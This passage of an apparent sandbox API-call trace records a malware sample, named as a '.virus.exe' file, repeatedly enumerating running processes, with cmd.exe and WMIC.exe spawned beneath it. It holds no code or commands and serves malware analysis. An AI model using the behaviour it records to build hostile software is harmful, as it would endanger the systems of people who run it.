th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.341] Process32NextW (in: hSnapshot=0x1c8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.342] Process32NextW (in: hSnapshot=0x1c8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.342] Process32NextW (in: hSnapshot=0x1c8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0269.345] Process32NextW (in: hSnapshot=0x1c8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.346] Process32NextW (in: hSnapshot=0x1c8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.347] Process32NextW (in: hSnapshot=0x1c8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0269.347] Process32NextW (in: hSnapshot=0x1c8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0269.348] Process32NextW (in: hSnapshot=0x1c8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0269.348] Process32NextW (in: hSnapshot=0x1c8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0269.349] Process32NextW (in: hSnapshot=0x1c8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.350] Process32NextW (in: hSnapshot=0x1c8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0269.350] Process32NextW (in: hSnapshot=0x1c8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0269.351] Process32NextW (in: hSnapshot=0x1c8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0269.351] Process32NextW (in: hSnapshot=0x1c8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0269.352] Process32NextW (in: hSnapshot=0x1c8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0269.353] Process32NextW (in: hSnapshot=0x1c8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.353] Process32NextW (in: hSnapshot=0x1c8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.354] Process32NextW (in: hSnapshot=0x1c8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x500, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 1 [0269.355] Process32NextW (in: hSnapshot=0x1c8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x500, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 0 [0269.355] CloseHandle (hObject=0x1c8) returned 1 [0269.355] Sleep (dwMilliseconds=0x1f4) [0269.877] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xcc [0269.880] Process32FirstW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0269.880] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x47, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0269.881] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0269.881] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0269.882] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0269.882] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0269.883] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0269.883] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0269.883] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0269.884] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0269.885] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.885] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.886] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.886] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.887] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.887] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0269.888] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.888] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.889] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0269.889] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0269.890] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0269.890] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0269.891] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.891] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0269.892] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0269.893] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0269.893] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0269.894] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0269.895] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.895] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.896] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x500, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 1 [0269.896] Process32NextW (in: hSnapshot=0xcc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x500, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 0 [0269.897] CloseHandle (hObject=0xcc) returned 1 [0269.897] Sleep (dwMilliseconds=0x1f4) [0270.873] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x178 [0270.876] Process32FirstW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0270.876] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x47, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0270.876] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0270.877] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0270.877] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0270.878] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0270.878] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0270.879] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0270.880] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0270.880] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0270.880] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.881] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.881] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.882] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.882] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.882] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0270.883] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.883] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.884] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0270.884] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0270.885] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0270.885] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0270.885] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.886] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0270.886] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0270.887] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0270.887] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0270.887] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0270.888] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.888] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.889] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, 